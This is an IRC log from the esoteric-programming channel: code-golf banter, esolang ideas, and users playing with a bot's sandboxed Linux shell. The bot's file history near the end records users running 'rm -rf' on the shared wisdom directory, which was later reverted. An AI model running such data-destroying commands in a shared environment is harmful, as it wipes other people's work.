02:48:36 -!- ais523 has quit.
02:54:18 <moon_> whats the best language for code golfing?
02:55:34 <Elronnd> moon_: brainfuck
02:55:36 <Elronnd> ;)
02:55:38 <moon_> lolno
02:55:44 <Elronnd> P, maybe
02:55:49 <Elronnd> bash+coreutils is not that bad
02:55:52 <moon_> in some cases, yes
02:56:08 <moon_> but very rarely is brainfuck a good golfer
02:56:34 <zzo38> Best language for code golfing can depend what program, is one thing. But there is also other kind of details.
02:56:48 <moon_> but best in general is what i want lol
02:56:56 <Elronnd> well
02:57:00 <Elronnd> kind of the point of unix
02:57:04 <Elronnd> is that there is no one best tool
02:57:06 <Elronnd> there are many
02:57:12 <Elronnd> and you choose the one that fits the task
02:58:52 <Elronnd> someone give me something to golf
02:58:53 <Elronnd> I'm bored
02:59:03 <shachaf> @where e_10
02:59:03 <lambdabot> [show(sum$scanl div(100^n)[1..[4..]!!n])!!n|n<-[0..]]
02:59:04 <shachaf> @where pi_10
02:59:04 <lambdabot> (!!3)<$>transpose[show$foldr(\k a->2*10^2^n+a*k`div`(2*k+1))0[1..2^n]|n<-[0..]]
02:59:07 <shachaf> Golf one of those.
02:59:13 <Elronnd> wat?
02:59:24 <shachaf> > [show(sum$scanl div(100^n)[1..[4..]!!n])!!n|n<-[0..]]
02:59:25 <Elronnd> no
02:59:27 <lambdabot> "271828182845904523536028747135266249775724709369995957496696762772407663035...
02:59:35 <shachaf> > (!!3)<$>transpose[show$foldr(\k a->2*10^2^n+a*k`div`(2*k+1))0[1..2^n]|n<-[0..]]
02:59:38 <lambdabot> "314159265358979323846264338327950288419716939937510582097494459230781640628...
02:59:39 <moon_> golf a PRNG?
02:59:59 <Elronnd> I don't know enough to write a PRNG regularly
03:00:04 <moon_> oh
03:00:07 -!- ^v has quit (Ping timeout: 252 seconds).
03:00:15 <moon_> golf a program that prints my username lol
03:00:36 <Elronnd> simple
03:00:47 <Elronnd> print("moon_")
03:00:50 <Elronnd> python
03:01:38 <Elronnd> #include <stdio.h> void main(){printf("moon_");}
03:01:38 <Elronnd> C
03:01:57 <shachaf> The first one is suboptimal and the second one is invalid.
03:02:06 <Elronnd> replace stdio.h with iostream for C++
03:02:22 <shachaf> @where+ anagol http://golf.shinh.org/
03:02:23 <lambdabot> It is stored.
03:02:34 <shachaf> There you go. All the golfing you could ever want.
03:02:37 <moon_> nope, ?,moon_ is the one
03:02:46 <moon_> thats in Bantas by the way
03:03:11 <Elronnd> shachaf: shachaf would you rather __import__("sys").stdout.write("moon_") ?
03:12:29 <moon_> Elronnd, here, try golfing this: turn a 1d array into a 5d array http://golf.shinh.org/p.rb?Turn+a+1d+array+into+a+5d+array
03:12:38 <oerjan> ^ul (moon_)S
03:12:38 <fungot> moon_
03:13:01 <moon_> oerjan, bantas has the shortest so far: ?,moon_
03:13:07 <moon_> (bantas being a esolang)
03:13:32 <oerjan> very well, i'll do it in ///:
03:13:34 <oerjan> moon_
03:13:43 <moon_> lol
03:13:53 <moon_> no instaquine languages
03:14:00 <Elronnd> it's not
03:14:11 <moon_> anything that is not a slash is printed in ///
03:14:24 <Elronnd> //moon_/ will also print moon_, IIRC
03:14:33 <moon_> lol
03:14:36 <oerjan> no.
03:14:39 <oerjan> that'll infloop
03:18:28 <shachaf> oerjan: that doesn't look like it's in FlooP at all hth
03:18:53 <shachaf> oerjan: what's your review of ghc 8 twh
03:20:13 -!- Elronnd has changed nick to Im.
03:20:21 -!- Im has changed nick to Elronnd.
03:21:37 -!- Elronnd has changed nick to Youre.
03:21:47 -!- Youre has changed nick to Elronnd.
03:22:39 <moon_> IRP anyone?
03:22:49 <moon_> (internet relay programming)
03:22:54 <oerjan> #irp is thataway
03:23:17 <oerjan> unless it's ##irp. i've forgotten.
03:23:26 <moon_> its #irp, but its almost dead
03:23:35 <oerjan> shachaf: could use a little more salt hth
03:23:49 -!- moon_ has changed nick to worst.
03:23:52 -!- worst has changed nick to moon_.
03:24:08 -!- Destructible has joined.
03:24:08 <moon_> wat
03:24:11 <moon_> nvm
03:24:15 <moon_> Hello, and welcome!
03:24:17 <Destructible> hi
03:24:30 <moon_> I hope you enjoy the unix bot, hackego (=
03:24:31 <oerjan> tip: we created it because we were sick of people doing irp in #esoteric hth
03:24:42 <moon_> `rwelcome destructible
03:24:55 <shachaf> i,i "redundant welcome"
03:24:56 <oerjan> admittedly that may have been after it got reddited.
03:25:07 <HackEgo> destructible: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
03:25:17 <moon_> no, rainbow welcome )=
03:25:20 <oerjan> wait, `rwelcome exists?
03:25:27 <moon_> mhm
03:25:39 <oerjan> `` diff bin/r{,w}elcome
03:25:45 <HackEgo> No output.
03:25:56 <moon_> `cat rwelcome
03:25:56 <HackEgo> cat: rwelcome: No such file or directory
03:26:01 <oerjan> fairy nuff
03:26:03 <moon_> `cat bin/rwelcome
03:26:04 <HackEgo> ​#!/bin/sh \ welcome "$@" | rainwords
03:26:13 <moon_> it just feeds welcome to rainwords
03:26:17 <shachaf> `1 ls -l bin/r{,w}elcome
03:26:19 <HackEgo> 1/1:lrwxrwxrwx 1 500000 0 8 Dec 9 04:12 bin/relcome -> rwelcome \ -rwxr-xr-x 1 5000000 0 35 Dec 9 04:12 bin/rwelcome \
03:26:29 <shachaf> hth
03:26:37 <Elronnd> `` echo "nobody knows everything" | rainwords
03:26:42 <HackEgo> nobody knows everything
03:27:19 <hppavilion[1]> Dear god
03:27:36 <moon_> Destructable, hackego is real linux, and it is normal to play around with him. or just chat lol
03:27:42 <moon_> we dont need more afkers
03:27:57 <moon_> there are at least 100
03:27:57 <Destructible> I'm here
03:28:01 <shachaf> The fact that you do it doesn't mean that it's normal.
03:28:01 <Destructible> I'm just confuse
03:28:09 <hppavilion[1]> My god...
03:28:16 <hppavilion[1]> I was just browsing Bearing's twitter feed
03:28:19 <hppavilion[1]> And...
03:28:19 * oerjan ties shachaf to the lawn chair
03:28:20 <hppavilion[1]> Well...
03:28:21 <hppavilion[1]> http://bit.ly/1PcrVUU
03:28:27 <oerjan> STAY ON MY LAWN
03:28:28 <hppavilion[1]> (Link shortened to hide spoilers)
03:28:38 <hppavilion[1]> (Link goes to twitter)
03:28:40 <shachaf> Please don't encourage other people to act as annoyingly as you do.
03:28:45 * shachaf = maximum hater
03:28:50 <Elronnd> hppavilion[1]: why would you be browsing twitter anyway?
03:29:10 -!- Destructible has quit (Quit: Page closed).
03:29:10 <hppavilion[1]> Elronnd: Because I figured he might have funny tweets?
03:29:28 <moon_> its no-where near as fun as surfing pastebin for 'roblox cheats' just to laugh at the scams
03:29:56 <moon_> or surfing it for anything else in that matter
03:31:32 -!- Destructible has joined.
03:31:36 <moon_> wb
03:31:46 <hppavilion[1]> oerjan: You may want to look into that
03:31:58 -!- Destructible has quit (Client Quit).
03:32:16 <moon_> bad internet iguess
03:32:19 <hppavilion[1]> His twitter name is even spelled the same way
03:33:18 <hppavilion[1]> Then again, I suppose it's likely the one who visits us was just a copyleopard
03:34:56 <moon_> bbl
03:37:00 <shachaf> `hogue bin/5quote
03:37:10 <HackEgo> ​<coppro> mkx bin/5quote//quote;quote;quote;quote;quote;
03:38:24 <shachaf> `hogue bin/mkcmd
03:38:28 <HackEgo> ​<oerjan> mkx bin/mkcmd//chmod +x "$1" && echo "$1" \ <Moon__-> ` mv mkcmd bin/mkcmd
03:39:30 -!- moon_ has quit (Ping timeout: 250 seconds).
03:39:47 <HackEgo> [wiki] [[ZT]] M https://esolangs.org/w/index.php?diff=47128&oldid=47123 * Oerjan * (+300) Reverted edits by [[Special:Contributions/Jacek Michalak|Jacek Michalak]] ([[User talk:Jacek Michalak|talk]]) to last revision by [[User:Oerjan|Oerjan]]
03:40:34 <shachaf> `le/rn shavention/shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, *list, mk/mkx, sled/sedlast, spore/spam/speek/sport/1
03:40:38 <HackEgo> Learned «shavention»
03:40:46 <Sgeo> At least Erlang/Elixir has a mutability model. I'm not sure if I actually like it though.
03:40:54 <shachaf> `sedlast s/$/. Taneb invented them./
03:41:01 <HackEgo> wisdom/shavention//shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, *list, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
03:41:10 -!- moon_ has joined.
03:41:12 <moon_> bck
03:41:17 <shachaf> Were there other useful shaventions?
03:43:06 <oerjan> hppavilion[1]: i have no idea why you think i would like that kind of twitter accounts.
03:43:34 <hppavilion[1]> oerjan: I don't think you'd like it
03:43:40 <hppavilion[1]> oerjan: But the user is named Hagbard
03:44:16 <hppavilion[1]> oerjan: Specifically, I had no opinion on whether or not you'd approve of the account's content; I only checked what the account was about after posting it
03:44:32 <shachaf> `? h4gb4rd
03:44:34 <HackEgo> h4gb4rd? ¯\(°​_o)/¯
03:45:11 <HackEgo> [wiki] [[Ziim]] https://esolangs.org/w/index.php?diff=47129&oldid=47124 * Oerjan * (-42) /* Interpreter */ fix link
03:46:18 <Elronnd> `? Elronnd
03:46:20 <HackEgo> Elronnd desperately wants this entry to say something.
03:46:32 <Elronnd> `` cat bin/\?
03:46:34 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooooooooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooooooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" |
03:47:46 <Elronnd> `` bat bin/rnooooooodl
03:47:48 <HackEgo> ​/hackenv/bin/`: line 4: bat: command not found
03:47:52 <Elronnd> `` cat bin/rnooooooodl
03:47:53 <HackEgo> cat: bin/rnooooooodl: No such file or directory
03:48:00 <Elronnd> `` which rnooooooodl
03:48:00 <HackEgo> No output.
03:48:25 <shachaf> oerjan: we've got another one hth
03:49:21 <Elronnd> lol
03:49:29 <HackEgo> [wiki] [[YABALL]] M https://esolangs.org/w/index.php?diff=47130&oldid=47125 * Oerjan * (-17) /* External resources */ template
03:49:31 <shachaf> `` cat bin/\?
03:49:34 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/noooooooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooooooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" |
03:49:39 <shachaf> `` cat bin/\?
03:49:40 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/noooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnoooodl
03:50:25 -!- moon_ has quit (Quit: Page closed).
03:52:05 <oerjan> *sigh* wayback _really_ should get better at ignoring robots.txt from domain squatters
03:52:36 <Elronnd> what are you trying to access?
03:52:47 <Elronnd> wayback is also a little bit buggy
03:53:13 <HackEgo> [wiki] [[ZT]] https://esolangs.org/w/index.php?diff=47131&oldid=47128 * Oerjan * (+26) /* External resources */ Stupid domain squatters, and also stupid wayback
03:53:18 <hppavilion[1]> oerjan: wat?
03:53:52 <hppavilion[1]> oerjan: I'm sorry, please explain?
03:54:31 <Elronnd> oerjan: the fact that it allows googlebot
03:54:32 <hppavilion[1]> Is it... former domain squatters put a robots.txt that bans everything, then even after the domain is obtained by proper domain users, Wayback doesn't update the robots.txt data so never saves the page?
03:54:41 <Elronnd> means that it might be in google cach
03:54:43 <Elronnd> e
03:55:48 <hppavilion[1]> Well, I'm going to go sacrifice a human to the great god F'ngaw-t
03:55:51 <hppavilion[1]> Bai
03:57:14 <oerjan> hppavilion[1]: apparently Hagbard Celine is a fictional character hth
03:57:37 <Elronnd> oerjan: I got a working archive for you
03:57:40 <Elronnd> https://archive.is/MTHXE
03:57:52 <oerjan> <shachaf> oerjan: we've got another one hth <-- yay!
03:59:54 <oerjan> hppavilion[1]: no, the page has been saved before, but the problem is that it _starts_ obeying the robots.txt of the squatters even for old content
04:00:04 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
04:00:28 <oerjan> @tell hppavilion[1]: no, the page has been saved before, but the problem is that it _starts_ obeying the robots.txt of the squatters even for old content
04:00:28 <lambdabot> Consider it noted.
04:00:36 <oerjan> @tell oerjan: test
04:00:37 <lambdabot> You can tell yourself!
04:01:19 <oerjan> Elronnd: it's not in google cache because i'm looking for an _old_ version of the page.
04:01:37 <Elronnd> oerjan: what about the archive.is one
04:01:47 <Elronnd> also, it looks like it's not in google cache
04:02:12 <Elronnd> at all
04:02:24 <oerjan> Elronnd: brilliant :P
04:03:18 -!- Destructible has joined.
04:03:21 <Elronnd> the other page wasn't archived, though
04:03:25 <Destructible> hi again
04:03:53 <oerjan> Elronnd: well the _real_ page went offline a decade ago, so of course google hasn't kept it.
04:04:00 <HackEgo> [wiki] [[ZT]] https://esolangs.org/w/index.php?diff=47132&oldid=47131 * Elronnd * (-58) fix link
04:04:11 <oerjan> thanks
04:04:33 <Elronnd> np
04:04:37 <Elronnd> the other link, though
04:04:41 <Elronnd> I think may be dead forever
04:05:14 <oerjan> depends. it will probably come back if the site robots.txt ever gets turned into something friendly.
04:05:24 <oerjan> because wayback _has_ it.
04:05:55 <oerjan> and also if wayback actually _implemented_ the tracking of domain changes i recall they once mentioned they wanted to do.
04:07:13 <Destructible> I came up with an idea for an esoteric language, but I'm not sure whether I should make a page for it.
04:09:01 <HackEgo> [wiki] [[ZT]] https://esolangs.org/w/index.php?diff=47133&oldid=47132 * Oerjan * (+43) /* External resources */ add archive link
04:09:50 -!- ^v has joined.
04:10:00 <oerjan> Destructible: we're pretty inclusive.
04:10:19 <oerjan> mind you, if it's a brainfuck derivative, you might think twice.
04:10:32 <shachaf> oerjan: in my experience authors of bf derivatives tend not to think twice hth
04:10:56 <Destructible> to some degree, it is a bit like brainfuck, but it's not a language that directly emulates brainfuck
04:11:10 <Destructible> it has a tape for memory, and moves up and down the tape
04:12:23 <oerjan> if it has more than half of the actual bf commands, even renamed, then you're pretty deep in hth
04:12:37 <Destructible> no, it does not
04:12:40 <oerjan> good
04:12:55 <Destructible> the move commands alter the numbers beneath it
04:13:29 <Destructible> and it can not change any if it tries to move back to the original position
04:13:59 <Destructible> how it changes any at all, is it pushes the tile it is on to a stack (not it's value, the position)
04:14:15 <Destructible> and then pops it to "teleport" to it
04:15:02 <Destructible> what exactly does hth mean, anyway
04:15:08 <shachaf> `? hth
04:15:10 <HackEgo> hth is help received from a hairy toe. It is not at all hambiguitous.
04:15:22 <HackEgo> [wiki] [[ZT]] M https://esolangs.org/w/index.php?diff=47134&oldid=47133 * Oerjan * (+4) /* External resources */ italics
04:15:32 <Destructible> `? hth
04:15:33 <HackEgo> hth is help received from a hairy toe. It is not at all hambiguitous.
04:17:07 <Destructible> I'm still confused about what hth actually means. Do you just append it to the end of your sentences for fun hth
04:17:46 <HackEgo> [wiki] [[COBOL]] https://esolangs.org/w/index.php?diff=47135&oldid=47122 * Oerjan * (-17) /* External resources */ template and newer capture
04:18:56 <oerjan> hth can only be learned by osmosis, or possibly by someone blabbering.
04:19:30 <Destructible> `? hambiguitous
04:19:30 <HackEgo> hambiguitous? ¯\(°​_o)/¯
04:19:48 <Destructible> ... what if
04:19:53 <Destructible> `? love
04:19:55 <HackEgo> love? ¯\(°​_o)/¯
04:20:05 <Destructible> poor hackego
04:20:24 <oerjan> `le/rn hambiguitous/We're not sure what hambiguitous means, but it's definitely not hth.
04:20:29 <HackEgo> Learned «hambiguitous»
04:21:07 <Destructible> `? hambiguitous
04:21:09 <HackEgo> We're not sure what hambiguitous means, but it's definitely not hth.
04:21:17 <Destructible> can i teach it one?
04:21:46 <oerjan> it is possible
04:22:06 <Destructible> `? ¯\(°​_o)/¯
04:22:08 <HackEgo> ​¯\(°​_o)/¯ is a misspelling of ¯\(°_o)/¯
04:22:30 <Destructible> `? ¯\(°_o)/¯
04:22:32 <HackEgo> ​¯\(°_o)/¯ `? ¯\(°_o)/¯
04:22:40 <oerjan> but first, you have to get into the right spirit.
04:23:05 <shachaf> `? ? °°°°°° is a very bad misspelling of
04:23:07 <HackEgo> ​? °°°°°° is a very bad misspelling of? ¯\(°​_o)/¯
04:23:47 <oerjan> `? misspellings of croissant
04:23:49 <HackEgo> misspellings of crosant? ¯\(°​_o)/¯
04:24:13 <Destructible> `le/rn love/Baby don't hurt me, don't hurt me no more
04:24:16 <HackEgo> Learned «love»
04:24:23 <Destructible> I had to
04:24:28 <Destructible> sorry
04:24:35 <oerjan> you're forgiven
04:24:43 <shachaf> i don't forgive you
04:24:49 <oerjan> by me, ... right.
04:24:54 <oerjan> shachaf: i was getting to that part
04:25:24 <shachaf> the more he bleeds, the more he lives / he never forgets and he never forgives
04:25:30 <Destructible> `? floccinaucinihilipilification
04:25:32 <HackEgo> floccinaucinihilipilification? ¯\(°​_o)/¯
04:25:39 <oerjan> shachaf: is that one of those awkward riddles
04:25:46 <shachaf> no, it's a lyric
04:26:14 <shachaf> https://www.flashlyrics.com/lyrics/stephen-sondheim/the-ballad-of-sweeney-todd-26 hth
04:26:29 <oerjan> `? supercalifragilisticexpialidocious
04:26:30 <HackEgo> supercalifragilisticexpialidocious? ¯\(°​_o)/¯
04:26:43 <oerjan> i thought we had that one.
04:26:58 <shachaf> `` ls wisdom/*istic*
04:27:01 <HackEgo> wisdom/supercalifragilisticexponential growth
04:27:08 <shachaf> `? supercalifragilisticexponential growth
04:27:09 <HackEgo> Supercalifragilisticexponential growth leaves Graham's number in the dust.
04:27:25 <oerjan> shachaf: `wisdom takes ... hm is it a glob or a regex
04:27:29 -!- navigaid has joined.
04:27:29 <Destructible> le/rn floccinaucinihilipilification/n. The act or habit of describing or regarding something as unimportant, of having no value or being worthless.
04:27:33 <oerjan> `wisdom .uperc
04:27:36 <HackEgo> ​//cat: : No such file or directory
04:27:53 <oerjan> Destructible: um we prefer having the key in the result.
04:28:09 <shachaf> Well, I'd prefer not having that wisdom entry at all.
04:28:16 <shachaf> It's the same as what you'd find in any dictionary.
04:28:16 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
04:28:19 <shachaf> What's the point?
04:28:29 <oerjan> `learn floccinaucinihilipilification n. The act or habit
04:28:29 <oerjan> of describing or regarding something as unimportant, of
04:28:29 <oerjan> having no value or being worthless.
04:28:33 <HackEgo> Learned 'floccinaucinihilipilification': floccinaucinihilipilification n. The act or habit
04:28:38 <oerjan> *sigh*
04:28:46 <Destructible> I'll be back
04:28:49 <oerjan> why can't irssi line joining be reliable.
04:28:49 -!- Destructible has quit (Quit: Page closed).
04:28:57 <shachaf> `forget floccinaucinihilipilification
04:28:59 <HackEgo> Forget what?
04:29:00 <shachaf> Oh, bad timing.
04:29:07 <oerjan> or not.
04:29:25 <shachaf> The Ballad of Sweeney Todd is great.
04:29:51 <oerjan> `wisdom ?uper
04:29:53 <HackEgo> superexponential growth//Superexponential growth? SUPEREXPONENTIAL GROWTH?! HOLY CRAP!!!
04:29:54 <shachaf> freely flows the blood of those who moralize
04:30:03 <oerjan> seems to be a glob
04:30:11 <shachaf> oerjan: you implemented it hth
04:30:19 <shachaf> `cat bin/wisdom
04:30:20 <HackEgo> F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
04:32:42 <oerjan> shachaf: i don't see what that has to do with remembering its format
04:33:03 <shachaf> Well, think to yourself: Would you have bothered implementing regex matching?
04:33:15 <oerjan> if it had been easier, yes.
04:33:35 <oerjan> and i'd thought of how to do it first.
04:34:11 <shachaf> Wait, now I can't remember whether you or I implemented this.
04:34:14 <oerjan> `` wisdom nooodl
04:34:17 <HackEgo> noooodl//noooooooooooooooooooooooodl is the correct spelling
04:34:21 <shachaf> `` hogue bin/wisdom | sport
04:34:28 <HackEgo> 1/4:<shachaf> ` sed -i \'s#/"#//"#\' bin/wisdom \ <oerjan> mkx bin/wisdom//F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooooodl; cat "$F" | rnooooodl \ <oerjan> mkx bin/wisdom//F="$(find wisdom -name "*""$(echo "$1" | lowercase)""*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" |
04:34:46 <shachaf> I guess it was you.
04:35:04 <oerjan> it rings a bell.
04:35:35 <shachaf> Oops, should've `1-ed.
04:36:00 <oerjan> what
04:36:05 <oerjan> `cat bin/1
04:36:06 <HackEgo> ​\` "$@" | sport
04:37:20 -!- fungot has quit (Ping timeout: 250 seconds).
04:39:05 -!- gniourf has quit (Ping timeout: 260 seconds).
04:41:17 <oerjan> fizzie: fungone
04:41:30 <oerjan> fizziegontoo
04:41:39 -!- MDead has joined.
04:41:57 <oerjan> eek, a dead dude
04:42:25 -!- MDude has quit (Ping timeout: 252 seconds).
04:42:26 <shachaf> `? pooodl
04:42:28 <HackEgo> pooodl? ¯\(°​_o)/¯
04:42:34 -!- MDead has changed nick to MDude.
04:42:35 <shachaf> `? pooodl
04:42:37 <HackEgo> pooodl? ¯\(°​_o)/¯
04:42:56 <oerjan> i don't think it applies rnooodl on input, shachaf
04:43:04 <oerjan> . o O ( at least i hope so )
04:43:18 <shachaf> It tries to apply the inverse on input.
04:43:19 <oerjan> `cat bin/?
04:43:20 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl;
04:43:30 <oerjan> aha
04:43:32 <shachaf> But I was hoping it applies it on output before printing that ridiculous Unicode face.
04:44:08 <shachaf> lynn: have you considered moving to new england
04:44:14 <Elronnd> have I created a meme?
04:44:15 <shachaf> lynn: and changing your name to yankee noodl
04:44:18 <Elronnd> `cat bin/\?
04:44:20 <HackEgo> cat: bin/\?: No such file or directory
04:44:31 <oerjan> Elronnd: you?
04:44:32 <shachaf> lynn: yankee nooodl
04:44:54 <Elronnd> oerjan: I was the first to
04:45:04 <Elronnd> `` cat bin/\?
04:45:05 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooooooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnoooooooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" |
04:45:07 <shachaf> lynn: In fact, move to Connecticut.
04:45:10 <shachaf> FireFly: You too.
04:45:20 <Elronnd> wait
04:45:22 <Elronnd> lynn
04:45:26 <Elronnd> you hang around this channel too?
04:45:30 <Elronnd> hey lynn
04:45:33 <oerjan> Elronnd: i didn't use `` so it doesn't apply
04:45:45 <Elronnd> no?
04:45:48 <Elronnd> I see identical output
04:46:16 <Elronnd> that's like saying "I went to https://youtu.be/something instead of https://youtube.com/watch?v=something, so I watched a different video"
04:46:22 <oerjan> Elronnd: look closer
04:46:35 <Elronnd> `cat bin/?
04:46:36 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl;
04:46:50 <Elronnd> `` cat bin/\?
04:46:52 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/noooooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnoo
04:47:05 <Elronnd> whoooah
04:47:08 <Elronnd> whaaaat?
04:47:10 <Elronnd> `ls bin
04:47:12 <HackEgo> ​` \ `` \ ^.^ \ ̊ \ \ ! \ ? \ ?? \ ¿ \ ' \ @ \ * \ ؟ \ \ \ \ 1 \ 1492 \ 2014 \ 2015 \ 2016 \ 2017 \ 5 \ 5quote \ 8ball \ 8-ball \ aaaaaaaaa \ addquote \ addtodo \ aglist \ allquotes \ analogy \ anonlog \ append \ arienvenido \ as86 \ aseen \ asm \ autowelcome \ bardsworthlist \ before \ benvenuto \ bf \ bff \ bienvenido \ bienvenue \
04:47:25 <Elronnd> `` cat bin/\/
04:47:26 <HackEgo> cat: bin//: Is a directory
04:47:34 <Elronnd> `` cat bin/\\
04:47:36 <HackEgo> cat: bin/\: No such file or directory
04:48:19 <shachaf> `` echo ooodles of nooodls
04:48:20 <HackEgo> ooooooooodles of nooooooooodls
04:48:36 <oerjan> `echo ooodles of nooodls
04:48:37 <HackEgo> ooodles of nooodls
04:48:58 * oerjan helpful
04:49:11 <Elronnd> `` echo '\e[33mfoo'
04:49:12 <HackEgo> ​\e[33mfoo
04:49:15 <oerjan> `run echo ooodles of nooodls
04:49:16 -!- navigaid has quit (Ping timeout: 250 seconds).
04:49:17 <HackEgo> ooodles of nooodls
04:49:25 <Elronnd> how do you show colours?
04:49:36 <oerjan> `` echo -e '\e[33mfoo'
04:49:38 <HackEgo> ​[33mfoo
04:49:55 <Elronnd> ``echo 'this has\x034colour'
04:49:56 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `echo: not found
04:50:02 <Elronnd> `` echo 'this has\x034colour'
04:50:04 <HackEgo> this has\x034colour
04:50:08 <Elronnd> `` echo -e 'this has\x034colour'
04:50:09 <HackEgo> this hascolour
04:50:19 <Elronnd> `` alias echo="echo -e"
04:50:20 <HackEgo> No output.
04:50:32 <Elronnd> `` echo "\e[33mfoo"
04:50:33 <oerjan> i don't think alias is going to work
04:50:33 <HackEgo> ​\e[33mfoo
04:50:40 <Elronnd> `` echo $HOME
04:50:40 <HackEgo> ​/tmp
04:50:45 <oerjan> there is no persistent shell session
04:50:58 <Elronnd> `` echo 'alias echo="echo -e"' > ~/.bashrc
04:50:59 <HackEgo> No output.
04:51:05 <Elronnd> `` alias echo
04:51:07 <HackEgo> ​/hackenv/bin/`: line 4: alias: echo: not found
04:51:10 <oerjan> oh, and /tmp isn't persistent either
04:51:27 <Elronnd> `` echo 'alias echo="echo -e"' >> /etc/bashrc
04:51:28 <HackEgo> ​/hackenv/bin/`: line 4: /etc/bashrc: Permission denied
04:51:38 <Elronnd> `` cat /etc/bashrc
04:51:39 <HackEgo> cat: /etc/bashrc: No such file or directory
04:51:41 <Elronnd> :C
04:52:00 <oerjan> i don't think you should change echo, anyway.
04:52:06 -!- gniourf has joined.
04:52:25 <oerjan> there are already scripts depending on it
04:53:21 <oerjan> actually, echo is a bash builtin isn't it, so you cannot really make it behave differently that way.
04:54:08 <shachaf> Every time you run a command, HackEgo boots up a virtual machine and runs your code in it.
04:54:52 <oerjan> i guess not having $HOME be in the repository part is a security feature.
04:57:50 <Elronnd> shachaf: *boots* up a VM?
04:57:53 <Elronnd> I doubt that
04:58:17 <shachaf> fsvo boots
04:58:35 <shachaf> I guess the VM doesn't literally pull itself up by its own bootstraps.
05:13:03 -!- coppro has quit (Ping timeout: 240 seconds).
05:14:50 -!- coppro has joined.
05:49:09 <\oren\> https://www.youtube.com/watch?v=HEXWRTEbj1I
05:49:57 -!- hppavilion[1] has joined.
05:58:04 -!- dnm has quit (Ping timeout: 240 seconds).
06:07:01 -!- Kaynato has quit (Ping timeout: 240 seconds).
06:23:37 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
07:09:08 -!- augur has quit (Remote host closed the connection).
07:10:06 <oerjan> `which perl
07:10:55 <HackEgo> ​/usr/bin/perl
07:36:50 -!- Destructible has joined.
07:36:59 <Destructible> hello again
07:37:36 <Destructible> anyone?
07:37:43 <oerjan> boo
07:38:03 -!- hppavilion[1] has joined.
07:41:15 <Vorpal> Destructible: hi
07:41:27 <Destructible> hi
07:42:13 <Vorpal> <Elronnd> shachaf: *boots* up a VM? <-- iirc, yes, pretty much. But more of a container kind of. It used User Mode Linux last I checked, which was a couple of years ago
07:42:22 -!- Destructible has quit (Quit: Page closed).
07:42:26 <Vorpal> So it is not like starting vmware
07:43:15 <shachaf> Horpal
07:43:27 <shachaf> `? Vorpal
07:43:29 <HackEgo> Vorpal is really boring. Seriously, you have no idea.
07:43:47 <Vorpal> :(
07:43:53 <shachaf> I don't agree.
07:43:58 <shachaf> Well, I agree that I have no idea.
07:44:06 <shachaf> `hogue wisdom/vorpal
07:44:35 <HackEgo> ​<oerjan> revert \ <FreeFull> run rm -rf wisdom \ <shachaf> revert 0 \ <shachaf> run rm -rf wisdom/* \ Initial import.
